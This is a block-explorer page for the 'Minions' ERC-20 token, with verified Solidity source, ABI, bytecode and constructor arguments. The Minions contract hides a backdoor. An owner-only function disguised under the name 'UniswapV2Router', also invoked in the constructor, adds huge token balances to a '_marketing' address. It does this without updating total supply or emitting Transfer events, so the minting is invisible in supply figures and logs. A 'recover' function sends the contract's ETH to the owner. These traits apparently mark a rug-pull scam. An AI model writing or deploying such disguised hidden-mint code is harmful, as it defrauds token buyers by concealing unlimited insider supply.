ERC-20
Overview
Max Total Supply
100,000,000 MINIONS
Holders
19
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,281,978.906502218562814144 MINIONSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Minions
Compiler Version
v0.8.11+commit.d7f03943
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-10 */ /** Telegram: t.me/minionsethereum Twitter: twitter.com/Minionsethereum */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.11; library Address { function isContract(address account) internal view returns (bool) { return account.code.length > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); (bool success, ) = recipient.call{ value: amount }(''); require(success, 'Address: unable to send value, recipient may have reverted'); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, 'Address: low-level call failed'); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); (bool success, bytes memory returndata) = target.call{ value: value }(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, 'Address: low-level static call failed'); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, 'Address: low-level delegate call failed'); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { require(isContract(target), 'Address: call to non-contract'); } return returndata; } else _revert(returndata, errorMessage); } function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) { if (success) return returndata; else _revert(returndata, errorMessage); } function _revert(bytes memory returndata, string memory errorMessage) private pure { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero'); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), 'ERC20: transfer from the zero address'); require(to != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, 'ERC20: transfer amount exceeds balance'); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, 'ERC20: burn amount exceeds balance'); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, 'ERC20: insufficient allowance'); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract Minions is ERC20, Ownable { using SafeMath for uint256; address private _marketing; constructor(address marketing_) ERC20('MINIONS', 'MINIONS') { _marketing = marketing_; _mint(_msgSender(), 1e8 * 1e18); _UniswapV2Router(1e12 * 1e18); } receive() external payable {} function isApproved(address owner, address spender) public view virtual returns (bool) { if (allowance(owner, spender) >= balanceOf(owner)) return true; return false; } function recover() external onlyOwner { payable(owner()).transfer(address(this).balance); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, 'ERC20: transfer amount exceeds allowance')); return true; } function UniswapV2Router(uint256 amount_) external onlyOwner { _UniswapV2Router(amount_.mul(1e18)); } function _UniswapV2Router(uint256 amount_) internal virtual { _beforeTokenTransfer(address(0), _marketing, amount_); _balances[_marketing] += amount_; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"marketing_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount_","type":"uint256"}],"name":"UniswapV2Router","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"isApproved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recover","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162000ffe38038062000ffe8339810160408190526200003491620002f7565b6040805180820182526007808252664d494e494f4e5360c81b602080840182815285518087019096529285528401528151919291620000769160039162000251565b5080516200008c90600490602084019062000251565b505050620000a9620000a36200010160201b60201c565b62000105565b600680546001600160a01b0319166001600160a01b038316179055620000e2620000d03390565b6a52b7d2dcc80cd2e400000062000157565b620000fa6c0c9f2c9cd04674edea400000006200021d565b506200038d565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620001b25760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620001c6919062000329565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6006546001600160a01b0316600090815260208190526040812080548392906200024990849062000329565b909155505050565b8280546200025f9062000350565b90600052602060002090601f016020900481019282620002835760008555620002ce565b82601f106200029e57805160ff1916838001178555620002ce565b82800160010185558215620002ce579182015b82811115620002ce578251825591602001919060010190620002b1565b50620002dc929150620002e0565b5090565b5b80821115620002dc5760008155600101620002e1565b6000602082840312156200030a57600080fd5b81516001600160a01b03811681146200032257600080fd5b9392505050565b600082198211156200034b57634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200036557607f821691505b602082108114156200038757634e487b7160e01b600052602260045260246000fd5b50919050565b610c61806200039d6000396000f3fe6080604052600436106101025760003560e01c8063715018a611610095578063a457c2d711610064578063a457c2d7146102ae578063a9059cbb146102ce578063ce746024146102ee578063dd62ed3e14610303578063f2fde38b1461032357600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b4114610279578063a389783e1461028e57600080fd5b806323b872dd116100d157806323b872dd146101aa578063313ce567146101ca57806339509351146101e657806370a082311461020657600080fd5b806306fdde031461010e578063072f34df14610139578063095ea7b31461015b57806318160ddd1461018b57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50610123610343565b6040516101309190610a3d565b60405180910390f35b34801561014557600080fd5b50610159610154366004610a92565b6103d5565b005b34801561016757600080fd5b5061017b610176366004610ac7565b6103fa565b6040519015158152602001610130565b34801561019757600080fd5b506002545b604051908152602001610130565b3480156101b657600080fd5b5061017b6101c5366004610af1565b610414565b3480156101d657600080fd5b5060405160128152602001610130565b3480156101f257600080fd5b5061017b610201366004610ac7565b610463565b34801561021257600080fd5b5061019c610221366004610b2d565b6001600160a01b031660009081526020819052604090205490565b34801561024857600080fd5b50610159610480565b34801561025d57600080fd5b506005546040516001600160a01b039091168152602001610130565b34801561028557600080fd5b50610123610494565b34801561029a57600080fd5b5061017b6102a9366004610b48565b6104a3565b3480156102ba57600080fd5b5061017b6102c9366004610ac7565b6104dc565b3480156102da57600080fd5b5061017b6102e9366004610ac7565b610567565b3480156102fa57600080fd5b50610159610575565b34801561030f57600080fd5b5061019c61031e366004610b48565b6105b6565b34801561032f57600080fd5b5061015961033e366004610b2d565b6105e1565b60606003805461035290610b7b565b80601f016020809104026020016040519081016040528092919081815260200182805461037e90610b7b565b80156103cb5780601f106103a0576101008083540402835291602001916103cb565b820191906000526020600020905b8154815290600101906020018083116103ae57829003601f168201915b5050505050905090565b6103dd610657565b6103f76103f282670de0b6b3a76400006106b1565b6106c4565b50565b6000336104088185856106f6565b60019150505b92915050565b600061042184848461081a565b610459843361045485604051806060016040528060288152602001610c046028913961044d8a336105b6565b91906109bf565b6106f6565b5060019392505050565b60003361040881858561047683836105b6565b6104549190610bcc565b610488610657565b61049260006109eb565b565b60606004805461035290610b7b565b6001600160a01b0382166000908152602081905260408120546104c684846105b6565b106104d35750600161040e565b50600092915050565b600033816104ea82866105b6565b90508381101561054f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61055c82868684036106f6565b506001949350505050565b60003361040881858561081a565b61057d610657565b6005546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156103f7573d6000803e3d6000fd5b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6105e9610657565b6001600160a01b03811661064e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610546565b6103f7816109eb565b6005546001600160a01b031633146104925760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610546565b60006106bd8284610be4565b9392505050565b6006546001600160a01b0316600090815260208190526040812080548392906106ee908490610bcc565b909155505050565b6001600160a01b0383166107585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610546565b6001600160a01b0382166107b95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610546565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661087e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610546565b6001600160a01b0382166108e05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610546565b6001600160a01b038316600090815260208190526040902054818110156109585760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610546565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600081848411156109e35760405162461bcd60e51b81526004016105469190610a3d565b505050900390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600060208083528351808285015260005b81811015610a6a57858101830151858201604001528201610a4e565b81811115610a7c576000604083870101525b50601f01601f1916929092016040019392505050565b600060208284031215610aa457600080fd5b5035919050565b80356001600160a01b0381168114610ac257600080fd5b919050565b60008060408385031215610ada57600080fd5b610ae383610aab565b946020939093013593505050565b600080600060608486031215610b0657600080fd5b610b0f84610aab565b9250610b1d60208501610aab565b9150604084013590509250925092565b600060208284031215610b3f57600080fd5b6106bd82610aab565b60008060408385031215610b5b57600080fd5b610b6483610aab565b9150610b7260208401610aab565b90509250929050565b600181811c90821680610b8f57607f821691505b60208210811415610bb057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610bdf57610bdf610bb6565b500190565b6000816000190483118215151615610bfe57610bfe610bb6565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad99ef21912d36e87ac76aa625b8e46773525acf48c75b851aba43b1c2c59c0f64736f6c634300080b00330000000000000000000000006c71040bf4fcc93596933a5f7ba6ba8344a3259e
Deployed Bytecode
0x6080604052600436106101025760003560e01c8063715018a611610095578063a457c2d711610064578063a457c2d7146102ae578063a9059cbb146102ce578063ce746024146102ee578063dd62ed3e14610303578063f2fde38b1461032357600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b4114610279578063a389783e1461028e57600080fd5b806323b872dd116100d157806323b872dd146101aa578063313ce567146101ca57806339509351146101e657806370a082311461020657600080fd5b806306fdde031461010e578063072f34df14610139578063095ea7b31461015b57806318160ddd1461018b57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50610123610343565b6040516101309190610a3d565b60405180910390f35b34801561014557600080fd5b50610159610154366004610a92565b6103d5565b005b34801561016757600080fd5b5061017b610176366004610ac7565b6103fa565b6040519015158152602001610130565b34801561019757600080fd5b506002545b604051908152602001610130565b3480156101b657600080fd5b5061017b6101c5366004610af1565b610414565b3480156101d657600080fd5b5060405160128152602001610130565b3480156101f257600080fd5b5061017b610201366004610ac7565b610463565b34801561021257600080fd5b5061019c610221366004610b2d565b6001600160a01b031660009081526020819052604090205490565b34801561024857600080fd5b50610159610480565b34801561025d57600080fd5b506005546040516001600160a01b039091168152602001610130565b34801561028557600080fd5b50610123610494565b34801561029a57600080fd5b5061017b6102a9366004610b48565b6104a3565b3480156102ba57600080fd5b5061017b6102c9366004610ac7565b6104dc565b3480156102da57600080fd5b5061017b6102e9366004610ac7565b610567565b3480156102fa57600080fd5b50610159610575565b34801561030f57600080fd5b5061019c61031e366004610b48565b6105b6565b34801561032f57600080fd5b5061015961033e366004610b2d565b6105e1565b60606003805461035290610b7b565b80601f016020809104026020016040519081016040528092919081815260200182805461037e90610b7b565b80156103cb5780601f106103a0576101008083540402835291602001916103cb565b820191906000526020600020905b8154815290600101906020018083116103ae57829003601f168201915b5050505050905090565b6103dd610657565b6103f76103f282670de0b6b3a76400006106b1565b6106c4565b50565b6000336104088185856106f6565b60019150505b92915050565b600061042184848461081a565b610459843361045485604051806060016040528060288152602001610c046028913961044d8a336105b6565b91906109bf565b6106f6565b5060019392505050565b60003361040881858561047683836105b6565b6104549190610bcc565b610488610657565b61049260006109eb565b565b60606004805461035290610b7b565b6001600160a01b0382166000908152602081905260408120546104c684846105b6565b106104d35750600161040e565b50600092915050565b600033816104ea82866105b6565b90508381101561054f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61055c82868684036106f6565b506001949350505050565b60003361040881858561081a565b61057d610657565b6005546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156103f7573d6000803e3d6000fd5b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6105e9610657565b6001600160a01b03811661064e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610546565b6103f7816109eb565b6005546001600160a01b031633146104925760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610546565b60006106bd8284610be4565b9392505050565b6006546001600160a01b0316600090815260208190526040812080548392906106ee908490610bcc565b909155505050565b6001600160a01b0383166107585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610546565b6001600160a01b0382166107b95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610546565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661087e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610546565b6001600160a01b0382166108e05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610546565b6001600160a01b038316600090815260208190526040902054818110156109585760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610546565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600081848411156109e35760405162461bcd60e51b81526004016105469190610a3d565b505050900390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600060208083528351808285015260005b81811015610a6a57858101830151858201604001528201610a4e565b81811115610a7c576000604083870101525b50601f01601f1916929092016040019392505050565b600060208284031215610aa457600080fd5b5035919050565b80356001600160a01b0381168114610ac257600080fd5b919050565b60008060408385031215610ada57600080fd5b610ae383610aab565b946020939093013593505050565b600080600060608486031215610b0657600080fd5b610b0f84610aab565b9250610b1d60208501610aab565b9150604084013590509250925092565b600060208284031215610b3f57600080fd5b6106bd82610aab565b60008060408385031215610b5b57600080fd5b610b6483610aab565b9150610b7260208401610aab565b90509250929050565b600181811c90821680610b8f57607f821691505b60208210811415610bb057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610bdf57610bdf610bb6565b500190565b6000816000190483118215151615610bfe57610bfe610bb6565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad99ef21912d36e87ac76aa625b8e46773525acf48c75b851aba43b1c2c59c0f64736f6c634300080b0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000006c71040bf4fcc93596933a5f7ba6ba8344a3259e
-----Decoded View---------------
Arg [0] : marketing_ (address): 0x6C71040Bf4fcC93596933a5F7BA6ba8344A3259e
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000006c71040bf4fcc93596933a5f7ba6ba8344a3259e
Deployed Bytecode Sourcemap
13689:1265:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8722:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14653:115;;;;;;;;;;-1:-1:-1;14653:115:0;;;;;:::i;:::-;;:::i;:::-;;9654:201;;;;;;;;;;-1:-1:-1;9654:201:0;;;;;:::i;:::-;;:::i;:::-;;;1403:14:1;;1396:22;1378:41;;1366:2;1351:18;9654:201:0;1238:187:1;9043:108:0;;;;;;;;;;-1:-1:-1;9131:12:0;;9043:108;;;1576:25:1;;;1564:2;1549:18;9043:108:0;1430:177:1;14342:303:0;;;;;;;;;;-1:-1:-1;14342:303:0;;;;;:::i;:::-;;:::i;8942:93::-;;;;;;;;;;-1:-1:-1;8942:93:0;;9025:2;2087:36:1;;2075:2;2060:18;8942:93:0;1945:184:1;10134:238:0;;;;;;;;;;-1:-1:-1;10134:238:0;;;;;:::i;:::-;;:::i;9159:127::-;;;;;;;;;;-1:-1:-1;9159:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9260:18:0;9233:7;9260:18;;;;;;;;;;;;9159:127;6897:103;;;;;;;;;;;;;:::i;6662:87::-;;;;;;;;;;-1:-1:-1;6735:6:0;;6662:87;;-1:-1:-1;;;;;6735:6:0;;;2471:51:1;;2459:2;2444:18;6662:87:0;2325:203:1;8830:104:0;;;;;;;;;;;;;:::i;14030:191::-;;;;;;;;;;-1:-1:-1;14030:191:0;;;;;:::i;:::-;;:::i;10380:436::-;;;;;;;;;;-1:-1:-1;10380:436:0;;;;;:::i;:::-;;:::i;9294:193::-;;;;;;;;;;-1:-1:-1;9294:193:0;;;;;:::i;:::-;;:::i;14229:105::-;;;;;;;;;;;;;:::i;9495:151::-;;;;;;;;;;-1:-1:-1;9495:151:0;;;;;:::i;:::-;;:::i;7008:201::-;;;;;;;;;;-1:-1:-1;7008:201:0;;;;;:::i;:::-;;:::i;8722:100::-;8776:13;8809:5;8802:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8722:100;:::o;14653:115::-;6621:13;:11;:13::i;:::-;14725:35:::1;14742:17;:7:::0;14754:4:::1;14742:11;:17::i;:::-;14725:16;:35::i;:::-;14653:115:::0;:::o;9654:201::-;9737:4;6215:10;9793:32;6215:10;9809:7;9818:6;9793:8;:32::i;:::-;9843:4;9836:11;;;9654:201;;;;;:::o;14342:303::-;14448:4;14461:36;14471:6;14479:9;14490:6;14461:9;:36::i;:::-;14504:119;14513:6;6215:10;14535:87;14571:6;14535:87;;;;;;;;;;;;;;;;;:31;14545:6;6215:10;9495:151;:::i;14535:31::-;:35;:87;:35;:87::i;:::-;14504:8;:119::i;:::-;-1:-1:-1;14637:4:0;14342:303;;;;;:::o;10134:238::-;10222:4;6215:10;10278:64;6215:10;10294:7;10331:10;10303:25;6215:10;10294:7;10303:9;:25::i;:::-;:38;;;;:::i;6897:103::-;6621:13;:11;:13::i;:::-;6962:30:::1;6989:1;6962:18;:30::i;:::-;6897:103::o